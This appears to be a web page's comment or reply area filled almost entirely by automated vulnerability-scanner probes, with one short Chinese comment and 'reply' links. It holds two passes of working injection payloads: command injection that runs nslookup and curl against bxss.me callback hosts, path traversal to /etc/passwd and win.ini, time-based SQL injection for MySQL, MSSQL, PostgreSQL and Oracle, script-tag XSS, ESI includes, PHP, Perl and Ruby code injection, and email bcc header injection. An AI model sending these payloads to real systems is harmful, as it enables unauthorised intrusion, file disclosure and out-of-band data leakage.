写的蛮有意思

555

response.write(9988336*9667953)

echo bhorgh$() bihlonnz^xyu||a #' &echo bhorgh$() bihlonnz^xyu||a #|" &echo bhorgh$() bihlonnz^xyu||a #

'+response.write(9988336*9667953)+'

&echo zetmoo$() bpudyqnz^xyu||a #' &echo zetmoo$() bpudyqnz^xyu||a #|" &echo zetmoo$() bpudyqnz^xyu||a #

"+response.write(9988336*9667953)+"

555&echo hdrrat$() kgswdknz^xyu||a #' &echo hdrrat$() kgswdknz^xyu||a #|" &echo hdrrat$() kgswdknz^xyu||a #

MWzb8jRA

|echo sgzrca$() aedxlvnz^xyu||a #' |echo sgzrca$() aedxlvnz^xyu||a #|" |echo sgzrca$() aedxlvnz^xyu||a #

555|echo xoiazx$() fxpreonz^xyu||a #' |echo xoiazx$() fxpreonz^xyu||a #|" |echo xoiazx$() fxpreonz^xyu||a #

555

(nslookup -q=cname hityeoqpcmgoo8aa5c.bxss.me||curl hityeoqpcmgoo8aa5c.bxss.me))

555

$(nslookup -q=cname hityobqtozcez81ea6.bxss.me||curl hityobqtozcez81ea6.bxss.me)

../../../../../../../../../../../../../../etc/passwd

555

&nslookup -q=cname hitvqeidkevpyce9c6.bxss.me&'"`0&nslookup -q=cname hitvqeidkevpyce9c6.bxss.me&`'

../../../../../../../../../../../../../../windows/win.ini

555

&(nslookup -q=cname hituaqcyitovzc1721.bxss.me||curl hituaqcyitovzc1721.bxss.me)&'"`0&(nslookup -q=cname hituaqcyitovzc1721.bxss.me||curl hituaqcyitovzc1721.bxss.me)&`'

file:///etc/passwd

|(nslookup -q=cname hitctehsdmzbr25ef0.bxss.me||curl hitctehsdmzbr25ef0.bxss.me)

555

555
bcc:0.45-213624.45.68f62.20268.2@bxss.me

`(nslookup -q=cname hitrxmwxzstsde3c39.bxss.me||curl hitrxmwxzstsde3c39.bxss.me)`

../555

to@example.com>
bcc:0.45-213625.45.68f62.20268.2@bxss.me

;(nslookup -q=cname hithtyhlunlehf0b39.bxss.me||curl hithtyhlunlehf0b39.bxss.me)|(nslookup -q=cname hithtyhlunlehf0b39.bxss.me||curl hithtyhlunlehf0b39.bxss.me)&(nslookup -q=cname hithtyhlunlehf0b39.bxss.me||curl hithtyhlunlehf0b39.bxss.me)

12345'"'");|]*{
<>

555

555

555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

555

555

555

${10000006+10000295}

555

555

555

555

555

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

555&n917798=v946268

)

555

555

/etc/shells

555

!(()&&!|*|*|

c:/windows/win.ini

555

bxss.me

^(#$!@#$)(()))******

555

555

555

555

555

'"()

555

555

555

555'&&sleep(27*1000)*sszrcp&&'

555

555

555"&&sleep(27*1000)*tttlcn&&"

555

555'||sleep(27*1000)*chkvqz||'

555

555

555"||sleep(27*1000)*zrcwad||"

555

555

555

555

'.gethostbyname(lc('hitvq'.'xrfdebet6a819.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(76).chr(100).chr(84).'

555

555

".gethostbyname(lc("hitpt"."euzkuggz8546b.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(78).chr(117).chr(67)."

555

555

555

555

555

555

555

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

555

';print(md5(31337));$a='

555

-1 OR 2+790-790-1=0+0+0+1 --

555

";print(md5(31337));$a="

-1 OR 2+881-881-1=0+0+0+1

555

${@print(md5(31337))}

-1' OR 2+269-269-1=0+0+0+1 --

555

${@print(md5(31337))}

bxss.me/t/xss.html?%00

-1' OR 2+302-302-1=0+0+0+1 or 'IaBafSch'='

555

'.print(md5(31337)).'

"+"A".concat(70-3).concat(22*4).concat(120).concat(78).concat(113).concat(87)+(require"socket"
Socket.gethostbyname("hittw"+"thdxcwylbbc0b.bxss.me.")[3].to_s)+"

-1" OR 2+827-827-1=0+0+0+1 --

555

'+'A'.concat(70-3).concat(22*4).concat(108).concat(86).concat(106).concat(67)+(require'socket'
Socket.gethostbyname('hitbf'+'nthmssmn131eb.bxss.me.')[3].to_s)+'

555

555

555

555

555

555

555

555

reply

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

reply

555

xfs.bxss.me

555

reply/.

555

555

555

555

555

555

555

'"

555'"()&%<zzz><ScRiPt >6hTK(9010)</ScRiPt>

555

<!--

555

'"()&%<zzz><ScRiPt >6hTK(9014)</ScRiPt>

555

555

5559239126

555

555

555

if(now()=sysdate(),sleep(15),0)

555

555

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

8He54071'; waitfor delay '0:0:15' --

-5 OR 13=(SELECT 13 FROM PG_SLEEP(15))--

-5) OR 627=(SELECT 627 FROM PG_SLEEP(15))--

-1)) OR 885=(SELECT 885 FROM PG_SLEEP(15))--

aU0hR8ve' OR 464=(SELECT 464 FROM PG_SLEEP(15))--

NG3ZJ7w9') OR 519=(SELECT 519 FROM PG_SLEEP(15))--

GxTrcUJp')) OR 804=(SELECT 804 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@wmWr7

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

response.write(9915032*9640829)

echo lxylxu$() fpctznnz^xyu||a #' &echo lxylxu$() fpctznnz^xyu||a #|" &echo lxylxu$() fpctznnz^xyu||a #

'+response.write(9915032*9640829)+'

&echo agkdux$() lkgodpnz^xyu||a #' &echo agkdux$() lkgodpnz^xyu||a #|" &echo agkdux$() lkgodpnz^xyu||a #

Awk4Duua

"+response.write(9915032*9640829)+"

555&echo vdjnsf$() zwmtsqnz^xyu||a #' &echo vdjnsf$() zwmtsqnz^xyu||a #|" &echo vdjnsf$() zwmtsqnz^xyu||a #

|echo jksfaa$() jemhlxnz^xyu||a #' |echo jksfaa$() jemhlxnz^xyu||a #|" |echo jksfaa$() jemhlxnz^xyu||a #

555|echo vswmqk$() rzwpeinz^xyu||a #' |echo vswmqk$() rzwpeinz^xyu||a #|" |echo vswmqk$() rzwpeinz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

(nslookup -q=cname hitkxkzsazeavb58bd.bxss.me||curl hitkxkzsazeavb58bd.bxss.me))

../../../../../../../../../../../../../../windows/win.ini

555
bcc:0.45-237359.45.68f62.20268.2@bxss.me

$(nslookup -q=cname hitpiimrkbvkgbf0ba.bxss.me||curl hitpiimrkbvkgbf0ba.bxss.me)

file:///etc/passwd

to@example.com>
bcc:0.45-237360.45.68f62.20268.2@bxss.me

&nslookup -q=cname hitkxikptfxiref827.bxss.me&'"`0&nslookup -q=cname hitkxikptfxiref827.bxss.me&`'

555

&(nslookup -q=cname hitanvghrafpy02241.bxss.me||curl hitanvghrafpy02241.bxss.me)&'"`0&(nslookup -q=cname hitanvghrafpy02241.bxss.me||curl hitanvghrafpy02241.bxss.me)&`'

../555

555<esi:include src="http://bxss.me/rpb.png"/>

|(nslookup -q=cname hitlqrnpyhiwz31bcb.bxss.me||curl hitlqrnpyhiwz31bcb.bxss.me)

555

`(nslookup -q=cname hitckrpixpyqsbc5be.bxss.me||curl hitckrpixpyqsbc5be.bxss.me)`

12345'"'");|]*{
<>

555

;(nslookup -q=cname hitcjnyagdfpra8eba.bxss.me||curl hitcjnyagdfpra8eba.bxss.me)|(nslookup -q=cname hitcjnyagdfpra8eba.bxss.me||curl hitcjnyagdfpra8eba.bxss.me)&(nslookup -q=cname hitcjnyagdfpra8eba.bxss.me||curl hitcjnyagdfpra8eba.bxss.me)

${9999139+10000306}

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

/etc/shells

555&n985470=v922884

555

c:/windows/win.ini

)

555

bxss.me

!(()&&!|*|*|

^(#$!@#$)(()))******

555

555

'"()

555

555'&&sleep(27*1000)*cblfoh&&'

'.gethostbyname(lc('hitsh'.'lhajgnih6b8d1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(66).chr(114).chr(81).'

555"&&sleep(27*1000)*dvvyby&&"

".gethostbyname(lc("hitgr"."jlinkofgc6613.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(74).chr(97).chr(85)."

555

555'||sleep(27*1000)*nordhw||'

555"||sleep(27*1000)*lzeigm||"

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

bxss.me/t/xss.html?%00

";print(md5(31337));$a="

${@print(md5(31337))}

"+"A".concat(70-3).concat(22*4).concat(98).concat(71).concat(120).concat(74)+(require"socket"
Socket.gethostbyname("hithi"+"elcajdepac311.bxss.me.")[3].to_s)+"

${@print(md5(31337))}

'+'A'.concat(70-3).concat(22*4).concat(114).concat(90).concat(121).concat(72)+(require'socket'
Socket.gethostbyname('hitgj'+'zxasdmgac6267.bxss.me.')[3].to_s)+'

'.print(md5(31337)).'

555

reply

reply

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

reply/.

555

xfs.bxss.me

555

'"

555

<!--

555

555

555'"()&%<zzz><ScRiPt >QAN5(9324)</ScRiPt>

-1 OR 2+614-614-1=0+0+0+1 --

555

-1 OR 2+941-941-1=0+0+0+1

'"()&%<zzz><ScRiPt >QAN5(9429)</ScRiPt>

-1' OR 2+320-320-1=0+0+0+1 --

-1' OR 2+594-594-1=0+0+0+1 or '1rKQB5Qn'='

5559561255

-1" OR 2+813-813-1=0+0+0+1 --

555

555

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

My34xCNt'; waitfor delay '0:0:15' --

-5 OR 796=(SELECT 796 FROM PG_SLEEP(15))--

-5) OR 833=(SELECT 833 FROM PG_SLEEP(15))--

-1)) OR 652=(SELECT 652 FROM PG_SLEEP(15))--

E5vvYBCS' OR 245=(SELECT 245 FROM PG_SLEEP(15))--

3IiZ5KWD') OR 476=(SELECT 476 FROM PG_SLEEP(15))--

ebhy5zTa')) OR 642=(SELECT 642 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@Uqg7o

555

555

555

555

555

555

555